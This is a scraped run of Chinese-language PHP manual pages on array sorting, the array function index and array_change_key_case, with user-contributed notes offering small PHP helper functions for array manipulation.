EXTR_PREFIX_ALL (int)
EXTR_PREFIX_INVALID (int)
EXTR_PREFIX_IF_EXISTS (int)
EXTR_IF_EXISTS (int)
EXTR_REFS (int)

User Contributed Notes

There are no user contributed notes for this page.


对数组进行排序

PHP 有一些用来排序数组的函数， 这个文档会把它们列出来。

主要区别有：

  • 有些函数基于 array 的键来排序， 而其他的基于值来排序的：$array['key'] = 'value';。
  • 排序之后键和值之间的关联关系是否能够保持， 是指排序之后数组的键可能 会被重置为数字型的（0,1,2 ...）。
  • 排序的顺序有：字母表顺序， 升序（由低到高）， 降序（由高到低），数字排序，自然排序，随机顺序或者用户自定义排序。
  • 注意：下列的所有排序函数都是直接作用于数组本身， 而不是返回一个新的有序的数组。
  • 以下函数对于数组中相等的元素，会保留原有的排序。 在 PHP 8.0.0 之前，它们排序后的顺序是未定义的（也即相等元素之间的顺序是不稳定的）。

排序函数属性
函数名称 | 排序依据 | 数组索引键保持 | 排序的顺序 | 相关函数
array_multisort() | 值 | string 键保持不变，int 键重新索引 | 第一个数组或者由选项指定 | array_walk()
asort() | 值 | 是 | 升序 | arsort()
arsort() | 值 | 是 | 降序 | asort()
krsort() | 键 | 是 | 降序 | ksort()
ksort() | 键 | 是 | 升序 | krsort()
natcasesort() | 值 | 是 | 自然排序，大小写不敏感 | natsort()
natsort() | 值 | 是 | 自然排序 | natcasesort()
rsort() | 值 | 否 | 降序 | sort()
shuffle() | 值 | 否 | 随机 | array_rand()
sort() | 值 | 否 | 升序 | rsort()
uasort() | 值 | 是 | 由用户定义 | uksort()
uksort() | 键 | 是 | 由用户定义 | uasort()
usort() | 值 | 否 | 由用户定义 | uasort()

User Contributed Notes

&#34;Matthew Rice&#34; 17-May-2013 08:28
While this may seem obvious, user-defined array sorting functions ( uksort(), uasort(), usort() ) will *not* be called if the array does not have *at least two values in it*.

The following code:

<?php

function usortTest($a, $b) {
    var_dump($a);
    var_dump($b);
    return -1;
}

$test = array('val1');
usort($test, "usortTest");

$test2 = array('val2', 'val3');
usort($test2, "usortTest");

?>

Will output:

string(4) "val3"
string(4) "val2"

The first array doesn't get sent to the function.

Please, under no circumstance, place any logic that modifies values, or applies non-sorting business logic in these functions as they will not always be executed.
oculiz at gmail dot com 12-Mar-2011 09:57
Another way to do a case case-insensitive sort by key would simply be:

<?php
uksort($array, 'strcasecmp');
?>

Since strcasecmp is already predefined in php it saves you the trouble to actually write the comparison function yourself.


数组 函数

参见

参考 is_array()、explode()、
implode()、
preg_split()、unset()。

Table of Contents

  • array_change_key_case — 将数组中的所有键名修改为全大写或小写
  • array_chunk — 将一个数组分割成多个
  • array_column — 返回输入数组中指定列的值
  • array_combine — 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
  • array_count_values — 统计数组中每个不同值的出现次数
  • array_diff_assoc — 带索引检查计算数组的差集
  • array_diff_key — 使用键名比较计算数组的差集
  • array_diff_uassoc — 用用户提供的回调函数做索引检查来计算数组的差集
  • array_diff_ukey — 用回调函数对键名比较计算数组的差集
  • array_diff — 计算数组的差集
  • array_fill_keys — 使用指定的键和值填充数组
  • array_fill — 用给定的值填充数组
  • array_filter — 使用回调函数过滤数组的元素
  • array_flip — 交换数组中的键和值
  • array_intersect_assoc — 带索引检查计算数组的交集
  • array_intersect_key — 使用键名比较计算数组的交集
  • array_intersect_uassoc — 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_ukey — 在键名上使用回调函数来比较计算数组的交集
  • array_intersect — 计算数组的交集
  • array_is_list — 判断给定的 array 是否为 list
  • array_key_exists — 检查数组里是否有指定的键名或索引
  • array_key_first — 获取指定数组的第一个键
  • array_key_last — 获取一个数组的最后一个键值
  • array_keys — 返回数组中部分的或所有的键名
  • array_map — 为数组的每个元素应用回调函数
  • array_merge_recursive — 递归地合并一个或多个数组
  • array_merge — 合并一个或多个数组
  • array_multisort — 对多个数组或多维数组进行排序
  • array_pad — 以指定长度将一个值填充进数组
  • array_pop — 弹出数组最后一个单元（出栈）
  • array_product — 计算数组中所有值的乘积
  • array_push — 将一个或多个单元压入数组的末尾（入栈）
  • array_rand — 从数组中随机取出一个或多个随机键
  • array_reduce — 用回调函数迭代地将数组简化为单一的值
  • array_replace_recursive — 使用传递的数组递归替换第一个数组的元素
  • array_replace — 使用传递的数组替换第一个数组的元素
  • array_reverse — 返回单元顺序相反的数组
  • array_search — 在数组中搜索给定的值，如果成功则返回首个相应的键名
  • array_shift — 将数组开头的单元移出数组
  • array_slice — 从数组中取出一段
  • array_splice — 去掉数组中的某一部分并用其它值取代
  • array_sum — 对数组中所有值求和
  • array_udiff_assoc — 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc — 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_udiff — 用回调函数比较数据来计算数组的差集
  • array_uintersect_assoc — 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc — 带索引检查计算数组的交集，用单独的回调函数比较数据和索引
  • array_uintersect — 计算数组的交集，用回调函数比较数据
  • array_unique — 移除数组中重复的值
  • array_unshift — 在数组开头插入一个或多个单元
  • array_values — 返回数组中所有的值
  • array_walk_recursive — 对数组中的每个成员递归地应用用户函数
  • array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
  • array — 新建一个数组
  • arsort — 对数组进行降向排序并保持索引关系
  • asort — 对数组进行升序排序并保持索引关系
  • compact — 建立一个数组，包括变量名和它们的值
  • count — 统计数组、Countable 对象中所有元素的数量
  • current — 返回数组中的当前值
  • each — 返回数组中当前的键／值对并将数组指针向前移动一步
  • end — 将数组的内部指针指向最后一个单元
  • extract — 从数组中将变量导入到当前的符号表
  • in_array — 检查数组中是否存在某个值
  • key_exists — 别名 array_key_exists
  • key — 从关联数组中取得键名
  • krsort — 对数组按照键名逆向排序
  • ksort — 对数组根据键名升序排序
  • list — 把数组中的值赋给一组变量
  • natcasesort — 用“自然排序”算法对数组进行不区分大小写字母的排序
  • natsort — 用“自然排序”算法对数组排序
  • next — 将数组中的内部指针向前移动一位
  • pos — current 的别名
  • prev — 将数组的内部指针倒回一位
  • range — 根据范围创建数组，包含指定的元素
  • reset — 将数组的内部指针指向第一个单元
  • rsort — 对数组降序排序
  • shuffle — 打乱数组
  • sizeof — count 的别名
  • sort — 对数组升序排序
  • uasort — 使用用户定义的比较函数对数组进行排序并保持索引关联
  • uksort — 使用用户自定义的比较函数对数组中的键名进行排序
  • usort — 使用用户自定义的比较函数对数组中的值进行排序

User Contributed Notes

info at hotkey404 dot com 02-Nov-2020 08:32
Updated code of 'indioeuropeo' with option to input string-based keys.

INPUT:
array(4) {
  ["a"]=>
  string(5) "Apple"
  ["b"]=>
  string(6) "Banana"
  ["c"]=>
  string(3) "Cat"
  ["d"]=>
  string(3) "Dog"
}

OUTPUT:
array(4) {
  ["a"]=>
  string(5) "Apple"
  ["d"]=>
  string(3) "Dog"
  ["b"]=>
  string(6) "Banana"
  ["c"]=>
  string(3) "Cat"
}

FUNCTION:
<?php
function array_move_elem($array, $from, $to){
// return if non-numeric couldn't be found or from=to
    if(!is_numeric($from)){
        if(array_search($from, array_keys($array))!==FALSE){
            $from = array_search($from, array_keys($array));
        }else{
            return $array;
        }
    }
    $array_numeric_keys = array();
    foreach($array as $k => $v){
        $array_numeric_keys[] = $k;
    }
    if ($from == $to) { return $array; }
    $c = count($array_numeric_keys);
    if (($c > $from) and ($c > $to)) {
        if ($from < $to) {
            $f = $array_numeric_keys[$from];
            for ($i = $from; $i < $to; $i++) {
                $array_numeric_keys[$i] = $array_numeric_keys[$i+1];
            }
            $array_numeric_keys[$to] = $f;
        } else {
            $f = $array_numeric_keys[$from];
            for ($i = $from; $i > $to; $i--) {
                $array_numeric_keys[$i] = $array_numeric_keys[$i-1];
            }
            $array_numeric_keys[$to] = $f;
        }

    }
    $array_new = array();
    foreach($array_numeric_keys as $v){
        $array_new[$v] = $array[$v];
    }
    return $array_new;
}
?>
indioeuropeo at driverop dot com 27-May-2019 02:27
I need to take an element from the Array and change its position within the Array by moving the rest of the elements as required.
This is the function that does it. The first parameter is the working Array. The second is the position of the element to move and the third is the position where to move the element.
The function returns the modified Array.
<?php
function array_move_elem($array, $from, $to) {
    if ($from == $to) { return $array; }
    $c = count($array);
    if (($c > $from) and ($c > $to)) {
        if ($from < $to) {
            $f = $array[$from];
            for ($i = $from; $i < $to; $i++) {
                $array[$i] = $array[$i+1];
            }
            $array[$to] = $f;
        } else {
            $f = $array[$from];
            for ($i = $from; $i > $to; $i--) {
                $array[$i] = $array[$i-1];
            }
            $array[$to] = $f;
        }

    }
    return $array;
}

?>
Examples:
<?php
$array = array('Cero','Uno','Dos','Tres','Cuatro','Cinco','Seis','Siete','Ocho','Nueve','Diez');
$array = array_move_elem($array, 3, 5); // Move element in position 3 to position 5...
print_r($array);

$array = array_move_elem($array, 5, 3); // Move element in position 5 to position 3, leaving array as it was... ;)
print_r($array);

?>
Return:
<?php
Array ( [0] => Cero [1] => Uno [2] => Dos [3] => Cuatro [4] => Cinco [5] => Tres [6] => Seis [7] => Siete [8] => Ocho [9] => Nueve [10] => Diez )
Array ( [0] => Cero [1] => Uno [2] => Dos [3] => Tres [4] => Cuatro [5] => Cinco [6] => Seis [7] => Siete [8] => Ocho [9] => Nueve [10] => Diez )
?>
permanovd at gmail dot com 21-Jun-2018 10:18
A simple trick that can help you to guess what diff/intersect or sort function does by name.

[suffix] assoc - additional index check. Compares both value and index.

Example: array_diff_assoc, array_intersect_assoc.

[suffix] key - index only check. Ignores value of array, compares only indexes.

Example: array_diff_key, array_intersect_key.

[suffix] **empty** - no "key" or "assoc" word in suffix. Compares values only. Ignores indexes of array.

Example: array_diff, array_intersect.

[prefix] u - will do comparison with user defined function. Letter u can be used twice in some functions (like array_udiff_uassoc), this means that you have to use 2 functions (one for value, one for index).

Example: array_udiff_uassoc, array_uintersect_assoc.

This also works with array sort functions:

[prefix] a - associative. Will preserve keys.

Example: arsort, asort.

[prefix] k - key sort. Will sort array by keys.

Example: uksort, ksort.

[prefix] r - reverse. Will sort array in reverse order.

Example: rsort, krsort.

[prefix] u - sort by user defined function (same as for diff/intersect).

Example: usort, uasort.
DamianKaelGreen at gmail dot com 06-May-2017 04:42
While there are a lot of array functions in the PHP libs, there also seem to be a lot of rudimentary ones missing.

I went ahead and created several of my own functions for handling multiple non-associative (na) arrays including:

na_array_merge
na_array_intersect
na_array_diff
na_array_xnor
na_array_xor

If you are using Venn diagrams to think about your arrays, then these functions might be for you.

I have made them available and posted documentation for them here: https://www.greendingle.com/some-useful-non-associative-array-functions/
Ewan 28-Feb-2017 10:49
I was looking for an array aggregation function here and ended up writing this one.

Note: This implementation assumes that none of the fields you're aggregating on contain The '@' symbol.

<?php
  function array_group_by($flds, $arr) {
    $groups = array();
    foreach ($arr as $rec) {
      $keys = array_map(function($f) use($rec) { return $rec[$f]; }, $flds);
      $k = implode('@', $keys);
      if (isset($groups[$k])) {
        $groups[$k][] = $rec;
      } else {
        $groups[$k] = array($rec);
      }
    }
    return $groups;
  }

?>
nicoolasens at gmail dot com 06-Nov-2015 10:15
/*to change an index without rewriting the whole table and leave at the same place.
*/
<?php
function change_index(&$tableau, $old_key, $new_key) {
    $changed = FALSE;
    $temp = 0;
    foreach ($tableau as $key => $value) {
        switch ($changed) {
            case FALSE :
                //creates the new key and deletes the old
                if ($key == $old_key) {
                    $tableau[$new_key] = $tableau[$old_key];
                    unset($tableau[$old_key]);
                    $changed = TRUE;
                }
                break;

            case TRUE :
                //moves following keys
                if ($key != $new_key){
                $temp= $tableau[$key];
                unset($tableau[$key]);
                $tableau[$key] = $temp;
                break;
                }
                else {$changed = FALSE;} //stop
        }
    }
    array_values($tableau); //free_memory
}

//Result :
$tableau = array(1, 2 , 3, 4,5, 6, 7, 8, 9, 10);
$res = print_r($tableau, TRUE);
$longueur = strlen($res) -1;
echo "Old array :\n" . substr($res, 8, $longueur) . "\n" ;

change_index ($tableau, 2, 'number 2');
$res = print_r($tableau, TRUE);
$longueur = strlen($res) -10;
echo "New array :\n" . substr($res, 8, $longueur) . "\n" ;

/*
Old array :
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
)

New array :
    [0] => 1
    [1] => 2
    [numéro 2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
*/
?>
kolkabes at googlemail dot com 05-May-2012 12:31
Short function for making a recursive array copy while cloning objects on the way.

<?php
function arrayCopy( array $array ) {
        $result = array();
        foreach( $array as $key => $val ) {
            if( is_array( $val ) ) {
                $result[$key] = arrayCopy( $val );
            } elseif ( is_object( $val ) ) {
                $result[$key] = clone $val;
            } else {
                $result[$key] = $val;
            }
        }
        return $result;
}
?>
dave at davidhbrown dot us 24-Sep-2011 11:57
While PHP has well over three-score array functions, array_rotate is strangely missing as of PHP 5.3. Searching online offered several solutions, but the ones I found have defects such as inefficiently looping through the array or ignoring keys.

The following array_rotate() function uses array_merge and array_shift to reliably rotate an array forwards or backwards, preserving keys. If you know you can trust your $array to be an array and $shift to be between 0 and the length of your array, you can skip the function definition and use just the return expression in your code.

<?php
function array_rotate($array, $shift) {
    if(!is_array($array) || !is_numeric($shift)) {
        if(!is_array($array)) error_log(__FUNCTION__.' expects first argument to be array; '.gettype($array).' received.');
        if(!is_numeric($shift)) error_log(__FUNCTION__.' expects second argument to be numeric; '.gettype($shift)." `$shift` received.");
        return $array;
    }
    $shift %= count($array); //we won't try to shift more than one array length
    if($shift < 0) $shift += count($array);//handle negative shifts as positive
    return array_merge(array_slice($array, $shift, NULL, true), array_slice($array, 0, $shift, true));
}
?>
A few simple tests:
<?php
$array=array("foo"=>1,"bar"=>2,"baz"=>3,4,5);

print_r(array_rotate($array, 2));
print_r(array_rotate($array, -2));
print_r(array_rotate($array, count($array)));
print_r(array_rotate($array, "4"));
print_r(array_rotate($array, -9));
?>
oliverSPAMMENOT at e-geek dot com dot au 22-Mar-2010 07:28
Function to pretty print arrays and objects. Detects object recursion and allows setting a maximum depth. Based on arraytostring and u_print_r from the print_r function notes. Should be called like so:

<?php
egvaluetostring($value)   //no max depth, or
egvaluetostring($value, $max_depth)   //max depth set

function egvaluetostring($value, $max_depth, $key = NULL, $depth = 0, $refChain = array()) {
  if($depth > 0)
    $tab = str_repeat("\t", $depth);
  $text .= $tab . ($key !== NULL ? $key . " => " : "");

  if (is_array($value) || is_object($value)) {
    $recursion = FALSE;
    if (is_object($value)) {
      foreach ($refChain as $refVal) {
        if ($refVal === $value) {
          $recursion = TRUE;
          break;
        }
      }
      array_push($refChain, $value);
    }

    $text .= (is_array($value) ? "array" : "object") . " ( ";

    if ($recursion) {
      $text .= "*RECURSION* ";
    }
    elseif (isset($max_depth) && $depth >= $max_depth) {
      $text .= "*MAX DEPTH REACHED* ";
    }
    else {
      if (!empty($value)) {
        $text .= "\n";
        foreach ($value as $child_key => $child_value) {
          $text .= egvaluetostring($child_value, $max_depth, (is_array($value) ? "[" : "") . $child_key . (is_array($value) ? "]" : ""), $depth+1, $refChain) . ",\n";
        }
        $text .= "\n" . $tab;
      }
    }

    $text .= ")";

    if (is_object($value)) {
      array_pop($refChain);
    }
  }
  else {
    $text .= "$value";
  }

  return $text;
}
?>
renatonascto at gmail dot com 17-Sep-2008 11:11
Big arrays use a lot of memory possibly resulting in memory limit errors. You can reduce memory usage on your script by destroying them as soon as you′re done with them. I was able to get over a few megabytes of memory by simply destroying some variables I didn′t use anymore.
You can view the memory usage/gain by using the funcion memory_get_usage(). Hope this helps!
cyberchrist at futura dot net 15-Oct-2007 06:33
Lately, dealing with databases, I've been finding myself needing to know if one array, $a, is a proper subset of $b.

Mathematically, this is asking (in set theory) [excuse the use of u and n instead of proper Unicode):

( A u B ) n ( ~ B )

What this does is it first limits to known values, then looks for anything outside of B but in the union of A and B (which would be those things in A which are not also in B).

If any value exists in this set, then A is NOT a proper subset of B, because a value exists in A but not in B.  For A to be a proper subset, all values in A must be in B.

I'm sure this could easily be done any number of ways but this seems to work for me.  It's not got a lot of error detection such as sterilizing inputs or checking input types.

// bool array_subset( array, array )
// Returns true if $a is a proper subset of $b, returns false otherwise.

function array_subset( $a, $b )
{
    if( count( array_diff( array_merge($a,$b), $b)) == 0 )
        return true;
    else
        return false;
}
mo dot longman at gmail dot com 30-Jul-2007 11:27
to 2g4wx3:
i think better way for this is using JSON, if you have such module in your PHP. See json.org.

to convert JS array to JSON string: arr.toJSONString();
to convert JSON string to PHP array: json_decode($jsonString);

You can also stringify objects, numbers, etc.
ob at babcom dot biz 28-Aug-2006 04:23
Here is a function to find out the maximum depth of a multidimensional array.

<?php
// return depth of given array
// if Array is a string ArrayDepth() will return 0
// usage: int ArrayDepth(array Array)

function ArrayDepth($Array,$DepthCount=-1,$DepthArray=array()) {
  $DepthCount++;
  if (is_array($Array))
    foreach ($Array as $Key => $Value)
      $DepthArray[]=ArrayDepth($Value,$DepthCount);
  else
    return $DepthCount;
  foreach($DepthArray as $Value)
    $Depth=$Value>$Depth?$Value:$Depth;
  return $Depth;
}
?>


将数组中的所有键名修改为全大写或小写

  • ? 数组 函数
  • array_chunk ?
  • PHP Manual
  • 数组 函数
  • 将数组中的所有键名修改为全大写或小写

array_change_key_case

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

array_change_key_case — 将数组中的所有键名修改为全大写或小写

说明

array_change_key_case(array $array, int $case = CASE_LOWER): array

array_change_key_case() 将 array 数组中的所有键名改为全小写或大写。本函数不改变数字索引。

参数

array

需要操作的数组。

case

可以在这里用两个常量，CASE_UPPER 或 CASE_LOWER（默认值）。

返回值

返回一个键全是小写或者全是大写的数组；

示例

Example #1 array_change_key_case()例一

<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>

以上示例会输出：

Array
(
    [FIRST] => 1
    [SECOND] => 4
)

注释

Note:

如果一个数组中的多个键名经过本函数后变成一样的话（例如 "keY" 和 "kEY"），最后一个值将覆盖其它的值。

User Contributed Notes

gsoft 09-Aug-2023 09:06
//Array key case change recursively (Unicode):

<?php
function array_key_case($data,$case=FALSE)
{
    $ret=array();
    if ( is_array($data) )
        foreach ($data as $idx => $val)
            $ret[$case ? mb_strtoupper($idx) : mb_strtolower($idx)]=array_key_case($val,$case);
    else
        $ret=$data;
    return $ret;
}
wendri dot net at gmail dot com 12-Oct-2022 04:15
Array of partitions with always the same number of sub-array indexes.

<?php

function partitionFixedSubArray($array, $length, $empty_space)
{
    $result = [];

    if ( sizeof($array) ) {

        $result = array_chunk($array, $length);
        $last_array_count = sizeof(end($result));

        if ($last_array_count < $length) {

            for ($i = $last_array_count; $i < $length; $i++) {
                array_push($result[key($result)], $empty_space);
            }
        }
    }

    return $result;
}

$employees = [
    "Paidi",
    "Paijo",
    "Darno",
    "Kusnan",
    "Mukidi",
    "Sarno",
    "Nurdin",
    "Parmen",
    "Sukinah",
    "Sartini",
    "Sukijan",
    "Yono",
    "Supoyo"
];

echo "<pre>";
print_r(partitionFixedSubArray($employees, 5, "empty space"));
echo "</pre>";

?>

Output:
Array
(
    [0] => Array
        (
            [0] => Paidi
            [1] => Paijo
            [2] => Darno
            [3] => Kusnan
            [4] => Mukidi
        )

    [1] => Array
        (
            [0] => Sarno
            [1] => Nurdin
            [2] => Parmen
            [3] => Sukinah
            [4] => Sartini
        )

    [2] => Array
        (
            [0] => Sukijan
            [1] => Yono
            [2] => Supoyo
            [3] => empty space
            [4] => empty space
        )

)
msegit post pl 08-Jan-2021 07:54
Improved multidimensional unicode func (after qeremy):
<?php
function array_change_key_case_unicode_recurs($arr, $c = CASE_LOWER) {
    foreach ($arr as $k => $v) {
        $ret[mb_convert_case($k, (($c === CASE_LOWER) ? MB_CASE_LOWER : MB_CASE_UPPER), "UTF-8")] = (is_array($v) ? array_change_key_case_unicode_recurs($v, $c) : $v );
    }
    return $ret;
}

$arr = array("FirSt" => 1, "Za?ó?? g??l? ja?ń" => array("ya?" => "Oil", "?ekER" => "sugar") );
print_r(array_change_key_case($arr, CASE_UPPER));
print_r(array_change_key_case_unicode_recurs($arr, CASE_UPPER));
?>

Array
(
    [FIRST] => 1
    [ZA?ó?? G??L? JA?ń] => Array
        (
            [ya?] => Oil
            [?ekER] => sugar
        )
)
Array
(
    [FIRST] => 1
    [ZA?ó?? G??L? JA??] => Array
        (
            [YA?] => Oil
            [?EKER] => sugar
        )
)
zhangxuejiang 10-Oct-2019 03:30
I improve the array_change_key_case_recursive function ,let it can lowercase or uppercase keys

function array_change_key_case_recursive($arr, $case = CASE_LOWER)
{
    return array_map(function($item) use($case) {
        if(is_array($item))
            $item = array_change_key_case_recursive($item, $case);
        return $item;
    },array_change_key_case($arr, $case));
}
shaman_master at list dot ru 12-Sep-2019 10:10
<?php
/**
 * Convert keys in an array.
 *
 * @param array $array Source data
 * @param callable $callback Function name (strtolower, strtoupper, ucfirst, lcfirst, ucwords)
 * @return array
 */
function array_convert_key_case(array $array, callable $callback = 'strtolower')
{
    return array_combine(
        array_map($callback, array_keys($array)),
        array_values($array)
    );
}
?>
ahmadz 25-Oct-2016 05:49
function convert_to_key_case($data, $case){

        $condition = ($case == 'lowercase')? 'lowercase' : 'uppercase';
        $test = [];
        foreach($data as  $key => $value) {
            if ($condition == 'lowercase') {
                $test[strtolower($key)] = $value;
            } else {
                $test[strtoupper($key)] = $value;
            }
        }
    return $test;
}

$input = ['test1'=>1, 'Test2' => 2, 'TeSt3' => 3];

print_r(convert_to_key_case($input, 'uppercase'));
print_r(convert_to_key_case($input, 'lowercase'));

OUTPUT

Array
(
 [TEST1] => 1
 [TEST2] => 2
 [TEST3] => 3
)

Array (
 [test1] => 1
 [test2] => 2
 [test3] => 3
 )
oulala at yandex dot com 10-Feb-2016 02:12
Recursive LowerCase First Letter in array key

if(!function_exists("mb_lcfirstKeys")) {
    function mb_lcfirstKeys($data) {
        $res = [];
        foreach ($data as $key => $value) {
            $newKey = mb_lcfirst($key);
            $res[$newKey] = is_array($value) ? mb_lcfirstKeys($value) : $value;
        }
        return $res;
    }
}
xsaero00 25-Apr-2014 05:33
Here is the most compact way to lower case keys in a multidimensional array

function array_change_key_case_recursive($arr)
{
    return array_map(function($item){
        if(is_array($item))
            $item = array_change_key_case_recursive($item);
        return $item;
    },array_change_key_case($arr));
}
NetPanther 22-Sep-2012 01:27
Use this to capitalize first letter of all array keys:

<?php

function ucfirstKeys(&$data)
{
  foreach ($data as $key => $value)
  {
    // Convert key
    $newKey = ucfirst($key);

    // Change key if needed
    if ($newKey != $key)
    {
      unset($data[$key]);
      $data[$newKey] = $value;
    }

    // Handle nested arrays
    if (is_array($value))
    {
      ucfirstKeys($data[$key]);
    }
  }
}

$test = array('foo' => 'bar', 'moreFoo' => array('more' => 'foo'));
ucfirstKeys($test);
print_r($test);

?>

Result:
Array ( [MoreFoo] => Array ( [More] => foo ) [Foo] => bar )
qeremy [atta] gmail [dotta] com 28-Feb-2012 05:15
Unicode example;

<?php
function array_change_key_case_unicode($arr, $c = CASE_LOWER) {
    $c = ($c == CASE_LOWER) ? MB_CASE_LOWER : MB_CASE_UPPER;
    foreach ($arr as $k => $v) {
        $ret[mb_convert_case($k, $c, "UTF-8")] = $v;
    }
    return $ret;
}

$arr = array("FirSt" => 1, "ya?" => "Oil", "?ekER" => "sugar");
print_r(array_change_key_case($arr, CASE_UPPER));
print_r(array_change_key_case_unicode($arr, CASE_UPPER));
?>

Array
(
    [FIRST] => 1
    [YA?] => Oil
    [?EKER] => sugar
)
Array
(
    [FIRST] => 1
    [YA?] => Oil
    [?EKER] => sugar
)
JOE 19-Oct-2011 11:13
Script to change case of sub-arrays keys to lower . It works well for me. hope it helps.

<?php
$array=array("First"=>"val1","SecoNd"=>"val2",
"third"=>array("third-INner1"=>"val3.1"),
"fourth"=>array("FouthINNer1"=>"val4.1","FourthINNER2"=>"val4.2"));
print_r($array);
$key=array_keys($array);
foreach($key as $ki)
{
    $klower=strtolower($ki);
    $val=$array[$ki];
    if(is_array($val))
    {
        foreach($val as $kinner=>$vinner)
        {

            $tl=strtolower($kinner);
            unset($val[$kinner]);
            $val[$tl]=$vinner;
        }
    }
    unset($array[$ki]);
    $array[$klower]=$val;
}
echo "<br> After Changing Key to-LowerCase : <br>";
print_r($array);

?>
Lus Henrique Pessoa 24-Sep-2010 09:03
<?php

// improving the previous script
function ack_r3(&$array, $case=CASE_LOWER, $flag_rec=false)
    {
      $array = array_change_key_case($array, $case);
      if ( $flag_rec ) {
        foreach ($array as $key => $value) {
            if ( is_array($value) ) {
                ack_r3($array[$key], $case, true);
            }
        }
      }
    }

// same of array_change_key_case
$arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,false);
    var_dump($arr);

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,true);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["PHONE"]=>
    string(9) "3010-7148"
    ["E-MAIL"]=>
    string(12) "luis@net.com"
  }
}
array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
Luis Henrique Pessoa 23-Sep-2010 09:25
Script to change case of sub-arrays keys:

<?php

    function arrKey2Lower(&$arrVals) {
        foreach( $arrVals as $key => $item ) {
            $key2 = strtolower($key);
            if ( $key2 != $key) {
                unset($arrVals[$key]);
                $arrVals[$key2]=$item;
                $key=$key2;
            }

            if ( is_array($item) ) { arrKey2Lower($arrValores[$key]); }
        }
    }

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    arrKey2Lower($arr);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
info at microweb dot lt 29-Nov-2009 02:07
Simple function to change multidimensional array's all values to uppercase. If you would like to change to lowercase then change "mb_strtoupper" to  "mb_strtolower". It works perfect for me ;)

<?php
function change_case_recursive($arr){
    foreach ($arr as $key=>$val){
        if (!is_array($arr[$key])){
            $arr[$key]=mb_strtoupper($arr[$key]);
        }else{
            $arr[$key]=change_case_recursive($arr[$key]);
        }
    }
    return $arr;
}
?>
david at ramaboo dot com 02-Feb-2009 03:22
Same as array_change_key_case only with the values. This should really be part of PHP!

<?php
/**
 * @brief Returns an array with all values lowercased or uppercased.
 * @return array Returns an array with all values lowercased or uppercased.
 * @param object $input The array to work on
 * @param int $case [optional] Either \c CASE_UPPER or \c CASE_LOWER (default).
 */
function array_change_value_case(array $input, $case = CASE_LOWER) {
    switch ($case) {
        case CASE_LOWER:
            return array_map('strtolower', $input);
            break;
        case CASE_UPPER:
            return array_map('strtoupper', $input);
            break;
        default:
            trigger_error('Case is not valid, CASE_LOWER or CASE_UPPER only', E_USER_ERROR);
            return false;
    }
}
?>
charles 12-Jan-2009 11:38
<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>
anon at ymous dot com 02-Dec-2008 03:19
Below is a recursive version of this function.

<?php
    /**
     * A recursive array_change_key_case function.
     * @param array $input
     * @param integer $case
     */
    function array_change_key_case_recursive($input, $case = null){
        if(!is_array($input)){
            trigger_error("Invalid input array '{$array}'",E_USER_NOTICE); exit;
        }
        // CASE_UPPER|CASE_LOWER
        if(null === $case){
            $case = CASE_LOWER;
        }
        if(!in_array($case, array(CASE_UPPER, CASE_LOWER))){
            trigger_error("Case parameter '{$case}' is invalid.", E_USER_NOTICE); exit;
        }
        $input = array_change_key_case($input, $case);
        foreach($input as $key=>$array){
            if(is_array($array)){
                $input[$key] = array_change_key_case_recursive($array, $case);
            }
        }
        return $input;
    }
?>
andreas dot schuhmacher87 at googlemail dot com 14-Apr-2008 06:01
multibyte and multi-dimensional-array support, have fun!

<?php
    define('ARRAY_KEY_FC_LOWERCASE', 25); //FOO => fOO
    define('ARRAY_KEY_FC_UPPERCASE', 20); //foo => Foo
    define('ARRAY_KEY_UPPERCASE', 15); //foo => FOO
    define('ARRAY_KEY_LOWERCASE', 10); //FOO => foo
    define('ARRAY_KEY_USE_MULTIBYTE', true); //use mutlibyte functions

    /**
    * change the case of array-keys
    *
    * use: array_change_key_case_ext(array('foo' => 1, 'bar' => 2), ARRAY_KEY_UPPERCASE);
    * result: array('FOO' => 1, 'BAR' => 2)
    *
    * @param    array
    * @param    int
    * @return     array
    */
    function array_change_key_case_ext(array $array, $case = 10, $useMB = false, $mbEnc = 'UTF-8') {
        $newArray = array();

        //for more speed define the runtime created functions in the global namespace

        //get function
        if($useMB === false) {
            $function = 'strToUpper'; //default
            switch($case) {
                //first-char-to-lowercase
                case 25:
                    //maybee lcfirst is not callable
                    if(!function_exists('lcfirst'))
                        $function = create_function('$input', '
                            return strToLower($input[0]) . substr($input, 1, (strLen($input) - 1));
                        ');
                    else $function = 'lcfirst';
                    break;

                //first-char-to-uppercase
                case 20:
                    $function = 'ucfirst';
                    break;

                //lowercase
                case 10:
                    $function = 'strToLower';
            }
        } else {
            //create functions for multibyte support
            switch($case) {
